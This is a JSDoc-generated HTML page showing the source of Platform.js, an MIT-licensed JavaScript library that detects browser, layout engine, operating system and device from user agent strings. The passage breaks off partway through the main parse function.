    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: lib/platform.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: lib/platform.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>/*!\n * Platform.js\n * Copyright 2014-2020 Benjamin Tan\n * Copyright 2011-2013 John-David Dalton\n * Available under MIT license\n */\n;(function() {\n  'use strict';\n\n  /** Used to determine if values are of the language type `Object`. */\n  var objectTypes = {\n    'function': true,\n    'object': true\n  };\n\n  /** Used as a reference to the global object. */\n  var root = (objectTypes[typeof window] &amp;&amp; window) || this;\n\n  /** Backup possible global object. */\n  var oldRoot = root;\n\n  /** Detect free variable `exports`. */\n  var freeExports = objectTypes[typeof exports] &amp;&amp; exports;\n\n  /** Detect free variable `module`. */\n  var freeModule = objectTypes[typeof module] &amp;&amp; module &amp;&amp; !module.nodeType &amp;&amp; module;\n\n  /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */\n  var freeGlobal = freeExports &amp;&amp; freeModule &amp;&amp; typeof global == 'object' &amp;&amp; global;\n  if (freeGlobal &amp;&amp; (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {\n    root = freeGlobal;\n  }\n\n  /**\n   * Used as the maximum length of an array-like object.\n   * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)\n   * for more details.\n   */\n  var maxSafeInteger = Math.pow(2, 53) - 1;\n\n  /** Regular expression to detect Opera. */\n  var reOpera = /\\bOpera/;\n\n  /** Possible global object. */\n  var thisBinding = this;\n\n  /** Used for native method references. */\n  var objectProto = Object.prototype;\n\n  /** Used to check for own properties of an object. */\n  var hasOwnProperty = objectProto.hasOwnProperty;\n\n  /** Used to resolve the internal `[[Class]]` of values. */\n  var toString = objectProto.toString;\n\n  /*--------------------------------------------------------------------------*/\n\n  /**\n   * Capitalizes a string value.\n   *\n   * @private\n   * @param {string} string The string to capitalize.\n   * @returns {string} The capitalized string.\n   */\n  function capitalize(string) {\n    string = String(string);\n    return string.charAt(0).toUpperCase() + string.slice(1);\n  }\n\n  /**\n   * A utility function to clean up the OS name.\n   *\n   * @private\n   * @param {string} os The OS name to clean up.\n   * @param {string} [pattern] A `RegExp` pattern matching the OS name.\n   * @param {string} [label] A label for the OS.\n   */\n  function cleanupOS(os, pattern, label) {\n    // Platform tokens are defined at:\n    // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx\n    // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx\n    var data = {\n      '10.0': '10',\n      '6.4':  '10 Technical Preview',\n      '6.3':  '8.1',\n      '6.2':  '8',\n      '6.1':  'Server 2008 R2 / 7',\n      '6.0':  'Server 2008 / Vista',\n      '5.2':  'Server 2003 / XP 64-bit',\n      '5.1':  'XP',\n      '5.01': '2000 SP1',\n      '5.0':  '2000',\n      '4.0':  'NT',\n      '4.90': 'ME'\n    };\n    // Detect Windows version from platform tokens.\n    if (pattern &amp;&amp; label &amp;&amp; /^Win/i.test(os) &amp;&amp; !/^Windows Phone /i.test(os) &amp;&amp;\n        (data = data[/[\\d.]+$/.exec(os)])) {\n      os = 'Windows ' + data;\n    }\n    // Correct character case and cleanup string.\n    os = String(os);\n\n    if (pattern &amp;&amp; label) {\n      os = os.replace(RegExp(pattern, 'i'), label);\n    }\n\n    os = format(\n      os.replace(/ ce$/i, ' CE')\n        .replace(/\\bhpw/i, 'web')\n        .replace(/\\bMacintosh\\b/, 'Mac OS')\n        .replace(/_PowerPC\\b/i, ' OS')\n        .replace(/\\b(OS X) [^ \\d]+/i, '$1')\n        .replace(/\\bMac (OS X)\\b/, '$1')\n        .replace(/\\/(\\d)/, ' $1')\n        .replace(/_/g, '.')\n        .replace(/(?: BePC|[ .]*fc[ \\d.]+)$/i, '')\n        .replace(/\\bx86\\.64\\b/gi, 'x86_64')\n        .replace(/\\b(Windows Phone) OS\\b/, '$1')\n        .replace(/\\b(Chrome OS \\w+) [\\d.]+\\b/, '$1')\n        .split(' on ')[0]\n    );\n\n    return os;\n  }\n\n  /**\n   * An iteration utility for arrays and objects.\n   *\n   * @private\n   * @param {Array|Object} object The object to iterate over.\n   * @param {Function} callback The function called per iteration.\n   */\n  function each(object, callback) {\n    var index = -1,\n        length = object ? object.length : 0;\n\n    if (typeof length == 'number' &amp;&amp; length > -1 &amp;&amp; length &lt;= maxSafeInteger) {\n      while (++index &lt; length) {\n        callback(object[index], index, object);\n      }\n    } else {\n      forOwn(object, callback);\n    }\n  }\n\n  /**\n   * Trim and conditionally capitalize string values.\n   *\n   * @private\n   * @param {string} string The string to format.\n   * @returns {string} The formatted string.\n   */\n  function format(string) {\n    string = trim(string);\n    return /^(?:webOS|i(?:OS|P))/.test(string)\n      ? string\n      : capitalize(string);\n  }\n\n  /**\n   * Iterates over an object's own properties, executing the `callback` for each.\n   *\n   * @private\n   * @param {Object} object The object to iterate over.\n   * @param {Function} callback The function executed per own property.\n   */\n  function forOwn(object, callback) {\n    for (var key in object) {\n      if (hasOwnProperty.call(object, key)) {\n        callback(object[key], key, object);\n      }\n    }\n  }\n\n  /**\n   * Gets the internal `[[Class]]` of a value.\n   *\n   * @private\n   * @param {*} value The value.\n   * @returns {string} The `[[Class]]`.\n   */\n  function getClassOf(value) {\n    return value == null\n      ? capitalize(value)\n      : toString.call(value).slice(8, -1);\n  }\n\n  /**\n   * Host objects can return type values that are different from their actual\n   * data type. The objects we are concerned with usually return non-primitive\n   * types of \"object\", \"function\", or \"unknown\".\n   *\n   * @private\n   * @param {*} object The owner of the property.\n   * @param {string} property The property to check.\n   * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.\n   */\n  function isHostType(object, property) {\n    var type = object != null ? typeof object[property] : 'number';\n    return !/^(?:boolean|number|string|undefined)$/.test(type) &amp;&amp;\n      (type == 'object' ? !!object[property] : true);\n  }\n\n  /**\n   * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.\n   *\n   * @private\n   * @param {string} string The string to qualify.\n   * @returns {string} The qualified string.\n   */\n  function qualify(string) {\n    return String(string).replace(/([ -])(?!$)/g, '$1?');\n  }\n\n  /**\n   * A bare-bones `Array#reduce` like utility function.\n   *\n   * @private\n   * @param {Array} array The array to iterate over.\n   * @param {Function} callback The function called per iteration.\n   * @returns {*} The accumulated result.\n   */\n  function reduce(array, callback) {\n    var accumulator = null;\n    each(array, function(value, index) {\n      accumulator = callback(accumulator, value, index, array);\n    });\n    return accumulator;\n  }\n\n  /**\n   * Removes leading and trailing whitespace from a string.\n   *\n   * @private\n   * @param {string} string The string to trim.\n   * @returns {string} The trimmed string.\n   */\n  function trim(string) {\n    return String(string).replace(/^ +| +$/g, '');\n  }\n\n  /*--------------------------------------------------------------------------*/\n\n  /**\n   * Creates a new platform object.\n   *\n   * @memberOf platform\n   * @param {Object|string} [ua=navigator.userAgent] The user agent string or\n   *  context object.\n   * @returns {Object} A platform object.\n   */\n  function parse(ua) {\n\n    /** The environment context object. */\n    var context = root;\n\n    /** Used to flag when a custom context is provided. */\n    var isCustomContext = ua &amp;&amp; typeof ua == 'object' &amp;&amp; getClassOf(ua) != 'String';\n\n    // Juggle arguments.\n    if (isCustomContext) {\n      context = ua;\n      ua = null;\n    }\n\n    /** Browser navigator object. */\n    var nav = context.navigator || {};\n\n    /** Browser user agent string. */\n    var userAgent = nav.userAgent || '';\n\n    ua || (ua = userAgent);\n\n    /** Used to flag when `thisBinding` is the [ModuleScope]. */\n    var isModuleScope = isCustomContext || thisBinding == oldRoot;\n\n    /** Used to detect if browser is like Chrome. */\n    var likeChrome = isCustomContext\n      ? !!nav.likeChrome\n      : /\\bChrome\\b/.test(ua) &amp;&amp; !/internal|\\n/i.test(toString.toString());\n\n    /** Internal `[[Class]]` value shortcuts. */\n    var objectClass = 'Object',\n        airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',\n        enviroClass = isCustomContext ? objectClass : 'Environment',\n        javaClass = (isCustomContext &amp;&amp; context.java) ? 'JavaPackage' : getClassOf(context.java),\n        phantomClass = isCustomContext ? objectClass : 'RuntimeObject';\n\n    /** Detect Java environments. */\n    var java = /\\bJava/.test(javaClass) &amp;&amp; context.java;\n\n    /** Detect Rhino. */\n    var rhino = java &amp;&amp; getClassOf(context.environment) == enviroClass;\n\n    /** A character to represent alpha. */\n    var alpha = java ? 'a' : '\\u03b1';\n\n    /** A character to represent beta. */\n    var beta = java ? 'b' : '\\u03b2';\n\n    /** Browser document object. */\n    var doc = context.document || {};\n\n    /**\n     * Detect Opera browser (Presto-based).\n     * http://www.howtocreate.co.uk/operaStuff/operaObject.html\n     * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini\n     */\n    var opera = context.operamini || context.opera;\n\n    /** Opera `[[Class]]`. */\n    var operaClass = reOpera.test(operaClass = (isCustomContext &amp;&amp; opera) ? opera['[[Class]]'] : getClassOf(opera))\n      ? operaClass\n      : (opera = null);\n\n    /*------------------------------------------------------------------------*/\n\n    /** Temporary variable used over the script's lifetime. */\n    var data;\n\n    /** The CPU architecture. */\n    var arch = ua;\n\n    /** Platform description array. */\n    var description = [];\n\n    /** Platform alpha/beta indicator. */\n    var prerelease = null;\n\n    /** A flag to indicate that environment features should be used to resolve the platform. */\n    var useFeatures = ua == userAgent;\n\n    /** The browser/environment version. */\n    var version = useFeatures &amp;&amp; opera &amp;&amp; typeof opera.version == 'function' &amp;&amp; opera.version();\n\n    /** A flag to indicate if the OS ends with \"/ Version\" */\n    var isSpecialCasedOS;\n\n    /* Detectable layout engines (order is important). */\n    var layout = getLayout([\n      { 'label': 'EdgeHTML', 'pattern': 'Edge' },\n      'Trident',\n      { 'label': 'WebKit', 'pattern': 'AppleWebKit' },\n      'iCab',\n      'Presto',\n      'NetFront',\n      'Tasman',\n      'KHTML',\n      'Gecko'\n    ]);\n\n    /* Detectable browser names (order is important). */\n    var name = getName([\n      'Adobe AIR',\n      'Arora',\n      'Avant Browser',\n      'Breach',\n      'Camino',\n      'Electron',\n      'Epiphany',\n      'Fennec',\n      'Flock',\n      'Galeon',\n      'GreenBrowser',\n      'iCab',\n      'Iceweasel',\n      'K-Meleon',\n      'Konqueror',\n      'Lunascape',\n      'Maxthon',\n      { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },\n      'Midori',\n      'Nook Browser',\n      'PaleMoon',\n      'PhantomJS',\n      'Raven',\n      'Rekonq',\n      'RockMelt',\n      { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },\n      'SeaMonkey',\n      { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },\n      'Sleipnir',\n      'SlimBrowser',\n      { 'label': 'SRWare Iron', 'pattern': 'Iron' },\n      'Sunrise',\n      'Swiftfox',\n      'Vivaldi',\n      'Waterfox',\n      'WebPositive',\n      { 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },\n      { 'label': 'UC Browser', 'pattern': 'UCBrowser' },\n      'Opera Mini',\n      { 'label': 'Opera Mini', 'pattern': 'OPiOS' },\n      'Opera',\n      { 'label': 'Opera', 'pattern': 'OPR' },\n      'Chromium',\n      'Chrome',\n      { 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },\n      { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },\n      { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },\n      { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },\n      { 'label': 'IE', 'pattern': 'IEMobile' },\n      { 'label': 'IE', 'pattern': 'MSIE' },\n      'Safari'\n    ]);\n\n    /* Detectable products (order is important). */\n    var product = getProduct([\n      { 'label': 'BlackBerry', 'pattern': 'BB10' },\n      'BlackBerry',\n      { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },\n      { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },\n      { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },\n      { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },\n      { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },\n      { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },\n      { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },\n      { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },\n      { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },\n      'Google TV',\n      'Lumia',\n      'iPad',\n      'iPod',\n      'iPhone',\n      'Kindle',\n      { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },\n      'Nexus',\n      'Nook',\n      'PlayBook',\n      'PlayStation Vita',\n      'PlayStation',\n      'TouchPad',\n      'Transformer',\n      { 'label': 'Wii U', 'pattern': 'WiiU' },\n      'Wii',\n      'Xbox One',\n      { 'label': 'Xbox 360', 'pattern': 'Xbox' },\n      'Xoom'\n    ]);\n\n    /* Detectable manufacturers. */\n    var manufacturer = getManufacturer({\n      'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },\n      'Alcatel': {},\n      'Archos': {},\n      'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },\n      'Asus': { 'Transformer': 1 },\n      'Barnes &amp; Noble': { 'Nook': 1 },\n      'BlackBerry': { 'PlayBook': 1 },\n      'Google': { 'Google TV': 1, 'Nexus': 1 },\n      'HP': { 'TouchPad': 1 },\n      'HTC': {},\n      'Huawei': {},\n      'Lenovo': {},\n      'LG': {},\n      'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },\n      'Motorola': { 'Xoom': 1 },\n      'Nintendo': { 'Wii U': 1,  'Wii': 1 },\n      'Nokia': { 'Lumia': 1 },\n      'Oppo': {},\n      'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },\n      'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },\n      'Xiaomi': { 'Mi': 1, 'Redmi': 1 }\n    });\n\n    /* Detectable operating systems (order is important). */\n    var os = getOS([\n      'Windows Phone',\n      'KaiOS',\n      'Android',\n      'CentOS',\n      { 'label': 'Chrome OS', 'pattern': 'CrOS' },\n      'Debian',\n      { 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },\n      'Fedora',\n      'FreeBSD',\n      'Gentoo',\n      'Haiku',\n      'Kubuntu',\n      'Linux Mint',\n      'OpenBSD',\n      'Red Hat',\n      'SuSE',\n      'Ubuntu',\n      'Xubuntu',\n      'Cygwin',\n      'Symbian OS',\n      'hpwOS',\n      'webOS ',\n      'webOS',\n      'Tablet OS',\n      'Tizen',\n      'Linux',\n      'Mac OS X',\n      'Macintosh',\n      'Mac',\n      'Windows 98;',\n      'Windows '\n    ]);\n\n    /*------------------------------------------------------------------------*/\n\n    /**\n     * Picks the layout engine from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected layout engine.\n     */\n    function getLayout(guesses) {\n      return reduce(guesses, function(result, guess) {\n        return result || RegExp('\\\\b' + (\n          guess.pattern || qualify(guess)\n        ) + '\\\\b', 'i').exec(ua) &amp;&amp; (guess.label || guess);\n      });\n    }\n\n    /**\n     * Picks the manufacturer from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An object of guesses.\n     * @returns {null|string} The detected manufacturer.\n     */\n    function getManufacturer(guesses) {\n      return reduce(guesses, function(result, value, key) {\n        // Lookup the manufacturer by product or scan the UA for the manufacturer.\n        return result || (\n          value[product] ||\n          value[/^[a-z]+(?: +[a-z]+\\b)*/i.exec(product)] ||\n          RegExp('\\\\b' + qualify(key) + '(?:\\\\b|\\\\w*\\\\d)', 'i').exec(ua)\n        ) &amp;&amp; key;\n      });\n    }\n\n    /**\n     * Picks the browser name from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected browser name.\n     */\n    function getName(guesses) {\n      return reduce(guesses, function(result, guess) {\n        return result || RegExp('\\\\b' + (\n          guess.pattern || qualify(guess)\n        ) + '\\\\b', 'i').exec(ua) &amp;&amp; (guess.label || guess);\n      });\n    }\n\n    /**\n     * Picks the OS name from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected OS name.\n     */\n    function getOS(guesses) {\n      return reduce(guesses, function(result, guess) {\n        var pattern = guess.pattern || qualify(guess);\n        if (!result &amp;&amp; (result =\n              RegExp('\\\\b' + pattern + '(?:/[\\\\d.]+|[ \\\\w.]*)', 'i').exec(ua)\n            )) {\n          result = cleanupOS(result, pattern, guess.label || guess);\n        }\n        return result;\n      });\n    }\n\n    /**\n     * Picks the product name from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected product name.\n     */\n    function getProduct(guesses) {\n      return reduce(guesses, function(result, guess) {\n        var pattern = guess.pattern || qualify(guess);\n        if (!result &amp;&amp; (result =\n              RegExp('\\\\b' + pattern + ' *\\\\d+[.\\\\w_]*', 'i').exec(ua) ||\n              RegExp('\\\\b' + pattern + ' *\\\\w+-[\\\\w]*', 'i').exec(ua) ||\n              RegExp('\\\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\\\d+|[^ ();-]*)', 'i').exec(ua)\n            )) {\n          // Split by forward slash and append product version if needed.\n          if ((result = String((guess.label &amp;&amp; !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] &amp;&amp; !/[\\d.]+/.test(result[0])) {\n            result[0] += ' ' + result[1];\n          }\n          // Correct character case and cleanup string.\n          guess = guess.label || guess;\n          result = format(result[0]\n            .replace(RegExp(pattern, 'i'), guess)\n            .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')\n            .replace(RegExp('(' + guess + ')[-_.]?(\\\\w)', 'i'), '$1 $2'));\n        }\n        return result;\n      });\n    }\n\n    /**\n     * Resolves the version using an array of UA patterns.\n     *\n     * @private\n     * @param {Array} patterns An array of UA patterns.\n     * @returns {null|string} The detected version.\n     */\n    function getVersion(patterns) {\n      return reduce(patterns, function(result, pattern) {\n        return result || (RegExp(pattern +\n          '(?:-[\\\\d.]+/|(?: for [\\\\w-]+)?[ /-])([\\\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;\n      });\n    }\n\n    /**\n     * Returns `platform.description` when the platform object is coerced to a string.\n     *\n     * @name toString\n     * @memberOf platform\n     * @returns {string} Returns `platform.description` if available, else an empty string.\n     */\n    function toStringPlatform() {\n      return this.description || '';\n    }\n\n    /*------------------------------------------------------------------------*/\n\n    // Convert layout to an array so we can add extra details.\n    layout &amp;&amp; (layout = [layout]);\n\n    // Detect Android products.\n    // Browsers on Android devices typically provide their product IDS after \"Android;\"\n    // up to \"Build\" or \") AppleWebKit\".\n    // Example:\n    // \"Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36\n    // (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36\"\n    if (/\\bAndroid\\b/.test(os) &amp;&amp; !product &amp;&amp;\n        (data = /\\bAndroid[^;]*;(.*?)(?:Build|\\) AppleWebKit)\\b/i.exec(ua))) {\n      product = trim(data[1])\n        // Replace any language codes (eg. \"en-US\").\n        .replace(/^[a-z]{2}-[a-z]{2};\\s*/i, '')\n        || null;\n    }\n    // Detect product names that contain their manufacturer's name.\n    if (manufacturer &amp;&amp; !product) {\n      product = getProduct([manufacturer]);\n    } else if (manufacturer &amp;&amp; product) {\n      product = product\n        .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\\\s]', 'i'), manufacturer + ' ')\n        .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\\\w)', 'i'), manufacturer + ' $2');\n    }\n    // Clean up Google TV.\n    if ((data = /\\bGoogle TV\\b/.exec(product))) {\n      product = data[0];\n    }\n    // Detect simulators.\n    if (/\\bSimulator\\b/i.test(ua)) {\n      product = (product ? product + ' ' : '') + 'Simulator';\n    }\n    // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.\n    if (name == 'Opera Mini' &amp;&amp; /\\bOPiOS\\b/.test(ua)) {\n      description.push('running in Turbo/Uncompressed mode');\n    }\n    // Detect IE Mobile 11.\n    if (name == 'IE' &amp;&amp; /\\blike iPhone OS\\b/.test(ua)) {\n      data = parse(ua.replace(/like iPhone OS/, ''));\n      manufacturer = data.manufacturer;\n      product = data.product;\n    }\n    // Detect iOS.\n    else if (/^iP/.test(product)) {\n      name || (name = 'Safari');\n      os = 'iOS' + ((data = / OS ([\\d_]+)/i.exec(ua))\n        ? ' ' + data[1].replace(/_/g, '.')\n        : '');\n    }\n    // Detect Kubuntu.\n    else if (name == 'Konqueror' &amp;&amp; /^Linux\\b/i.test(os)) {\n      os = 'Kubuntu';\n    }\n    // Detect Android browsers.\n    else if ((manufacturer &amp;&amp; manufacturer != 'Google' &amp;&amp;\n        ((/Chrome/.test(name) &amp;&amp; !/\\bMobile Safari\\b/i.test(ua)) || /\\bVita\\b/.test(product))) ||\n        (/\\bAndroid\\b/.test(os) &amp;&amp; /^Chrome/.test(name) &amp;&amp; /\\bVersion\\//i.test(ua))) {\n      name = 'Android Browser';\n      os = /\\bAndroid\\b/.test(os) ? os : 'Android';\n    }\n    // Detect Silk desktop/accelerated modes.\n    else if (name == 'Silk') {\n      if (!/\\bMobi/i.test(ua)) {\n        os = 'Android';\n        description.unshift('desktop mode');\n      }\n      if (/Accelerated *= *true/i.test(ua)) {\n        description.unshift('accelerated');\n      }\n    }\n    // Detect UC Browser speed mode.\n    else if (name == 'UC Browser' &amp;&amp; /\\bUCWEB\\b/.test(ua)) {\n      description.push('speed mode');\n    }\n    // Detect PaleMoon identifying as Firefox.\n    else if (name == 'PaleMoon' &amp;&amp; (data = /\\bFirefox\\/([\\d.]+)\\b/.exec(ua))) {\n      description.push('identifying as Firefox ' + data[1]);\n    }\n    // Detect Firefox OS and products running Firefox.\n    else if (name == 'Firefox' &amp;&amp; (data = /\\b(Mobile|Tablet|TV)\\b/i.exec(ua))) {\n      os || (os = 'Firefox OS');\n      product || (product = data[1]);\n    }\n    // Detect false positives for Firefox/Safari.\n    else if (!name || (data = !/\\bMinefield\\b/i.test(ua) &amp;&amp; /\\b(?:Firefox|Safari)\\b/.exec(name))) {\n      // Escape the `/` for Firefox 1.\n      if (name &amp;&amp; !product &amp;&amp; /[\\/,]|^[^(]+?\\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {\n        // Clear name of false positives.\n        name = null;\n      }\n      // Reassign a generic name.\n      if ((data = product || manufacturer || os) &amp;&amp;\n          (product || manufacturer || /\\b(?:Android|Symbian OS|Tablet OS|webOS)\\b/.test(os))) {\n        name = /[a-z]+(?: Hat)?/i.exec(/\\bAndroid\\b/.test(os) ? os : data) + ' Browser';\n      }\n    }\n    // Add Chrome version to description for Electron.\n    else if (name == 'Electron' &amp;&amp; (data = (/\\bChrome\\/([\\d.]+)\\b/.exec(ua) || 0)[1])) {\n      description.push('Chromium ' + data);\n    }\n    // Detect non-Opera (Presto-based) versions (order is important).\n    if (!version) {\n      version = getVersion([\n        '(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\\\d.]+$)|UCBrowser|YaBrowser)',\n        'Version',\n        qualify(name),\n        '(?:Firefox|Minefield|NetFront)'\n      ]);\n    }\n    // Detect stubborn layout engines.\n    if ((data =\n          layout == 'iCab' &amp;&amp; parseFloat(version) > 3 &amp;&amp; 'WebKit' ||\n          /\\bOpera\\b/.test(name) &amp;&amp; (/\\bOPR\\b/.test(ua) ? 'Blink' : 'Presto') ||\n          /\\b(?:Midori|Nook|Safari)\\b/i.test(ua) &amp;&amp; !/^(?:Trident|EdgeHTML)$/.test(layout) &amp;&amp; 'WebKit' ||\n          !layout &amp;&amp; /\\bMSIE\\b/i.test(ua) &amp;&amp; (os == 'Mac OS' ? 'Tasman' : 'Trident') ||\n          layout == 'WebKit' &amp;&amp; /\\bPlayStation\\b(?! Vita\\b)/i.test(name) &amp;&amp; 'NetFront'\n        )) {\n      layout = [data];\n    }\n    // Detect Windows Phone 7 desktop mode.\n    if (name == 'IE' &amp;&amp; (data = (/; *(?:XBLWP|ZuneWP)(\\d+)/i.exec(ua) || 0)[1])) {\n      name += ' Mobile';\n      os = 'Windows Phone ' + (/\\+$/.test(data) ? data : data + '.x');\n      description.unshift('desktop mode');\n    }\n    // Detect Windows Phone 8.x desktop mode.\n    else if (/\\bWPDesktop\\b/i.test(ua)) {\n      name = 'IE Mobile';\n      os = 'Windows Phone 8.x';\n      description.unshift('desktop mode');\n      version || (version = (/\\brv:([\\d.]+)/.exec(ua) || 0)[1]);\n    }\n    // Detect IE 11 identifying as other browsers.\n    else if (name != 'IE' &amp;&amp; layout == 'Trident' &amp;&amp; (data = /\\brv:([\\d.]+)/.exec(ua))) {\n      if (name) {\n        description.push('identifying as ' + name + (version ? ' ' + version : ''));\n      }\n      name = 'IE';\n      version = data[1];\n    }\n    // Leverage environment features.\n    if (useFeatures) {\n      // Detect server-side environments.\n      // Rhino has a global function while others have a global object.\n      if (isHostType(context, 'global')) {\n        if (java) {\n          data = java.lang.System;\n          arch = data.getProperty('os.arch');\n          os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');\n        }\n        if (rhino) {\n          try {\n            version = context.require('ringo/engine').version.join('.');\n            name = 'RingoJS';\n          } catch(e) {\n            if ((data = context.system) &amp;&amp; data.global.system == context.system) {\n              name = 'Narwhal';\n              os || (os = data[0].os || null);\n            }\n          }\n          if (!name) {\n            name = 'Rhino';\n          }\n        }\n        else if (\n          typeof context.process == 'object' &amp;&amp; !context.process.browser &amp;&amp;\n          (data = context.process)\n        ) {\n          if (typeof data.versions == 'object') {\n            if (typeof data.versions.electron == 'string') {\n              description.push('Node ' + data.versions.node);\n              name = 'Electron';\n              version = data.versions.electron;\n            } else if (typeof data.versions.nw == 'string') {\n              description.push('Chromium ' + version, 'Node ' + data.versions.node);\n              name = 'NW.js';\n              version = data.versions.nw;\n            }\n          }\n          if (!name) {\n            name = 'Node.js';\n            arch = data.arch;\n            os = data.platform;\n            version = /[\\d.]+/.exec(data.version);\n            version = version ? version[0] : null;\n          }\n        }\n      }\n      // Detect Adobe AIR.\n      else if (getClassOf((data = context.runtime)) == airRuntimeClass) {\n        name = 'Adobe AIR';\n        os = data.flash.system.Capabilities.os;\n      }\n      // Detect PhantomJS.\n      else if (getClassOf((data = context.phantom)) == phantomClass) {\n        name = 'PhantomJS';\n        version = (data = data.version || null) &amp;&amp; (data.major + '.' + data.minor + '.' + data.patch);\n      }\n      // Detect IE compatibility modes.\n      else if (typeof doc.documentMode == 'number' &amp;&amp; (data = /\\bTrident\\/(\\d+)/i.exec(ua))) {\n        // We're in compatibility mode when the Trident version + 4 doesn't\n        // equal the document mode.\n        version = [version, doc.documentMode];\n        if ((data = +data[1] + 4) != version[1]) {\n          description.push('IE ' + version[1] + ' mode');\n          layout &amp;&amp; (layout[1] = '');\n          version[1] = data;\n        }\n        version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];\n      }\n      // Detect IE 11 masking as other browsers.\n      else if (typeof doc.documentMode == 'number' &amp;&amp; /^(?:Chrome|Firefox)\\b/.test(name)) {\n        description.push('masking as ' + name + ' ' + version);\n        name = 'IE';\n        version = '11.0';\n        layout = ['Trident'];\n        os = 'Windows';\n      }\n      os = os &amp;&amp; format(os);\n    }\n    // Detect prerelease phases.\n    if (version &amp;&amp; (data =\n          /(?:[ab]|dp|pre|[ab]\\d+pre)(?:\\d+\\+?)?$/i.exec(version) ||\n          /(?:alpha|beta)(?: ?\\d)?/i.exec(ua + ';' + (useFeatures &amp;&amp; nav.appMinorVersion)) ||\n          /\\bMinefield\\b/i.test(ua) &amp;&amp; 'a'\n        )) {\n      prerelease = /b/i.test(data) ? 'beta' : 'alpha';\n      version = version.replace(RegExp(data + '\\\\+?$'), '') +\n        (prerelease == 'beta' ? beta : alpha) + (/\\d+\\+?/.exec(data) || '');\n    }\n    // Detect Firefox Mobile.\n    if (name == 'Fennec' || name == 'Firefox' &amp;&amp; /\\b(?:Android|Firefox OS|KaiOS)\\b/.test(os)) {\n      name = 'Firefox Mobile';\n    }\n    // Obscure Maxthon's unreliable version.\n    else if (name == 'Maxthon' &amp;&amp; version) {\n      version = version.replace(/\\.[\\d.]+/, '.x');\n    }\n    // Detect Xbox 360 and Xbox One.\n    else if (/\\bXbox\\b/i.test(product)) {\n      if (product == 'Xbox 360') {\n        os = null;\n      }\n      if (product == 'Xbox 360' &amp;&amp; /\\bIEMobile\\b/.test(ua)) {\n        description.unshift('mobile mode');\n      }\n    }\n    // Add mobile postfix.\n    else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name &amp;&amp; !product &amp;&amp; !/Browser|Mobi/.test(name)) &amp;&amp;\n        (os == 'Windows CE' || /Mobi/i.test(ua))) {\n      name += ' Mobile';\n    }\n    // Detect IE platform preview.\n    else if (name == 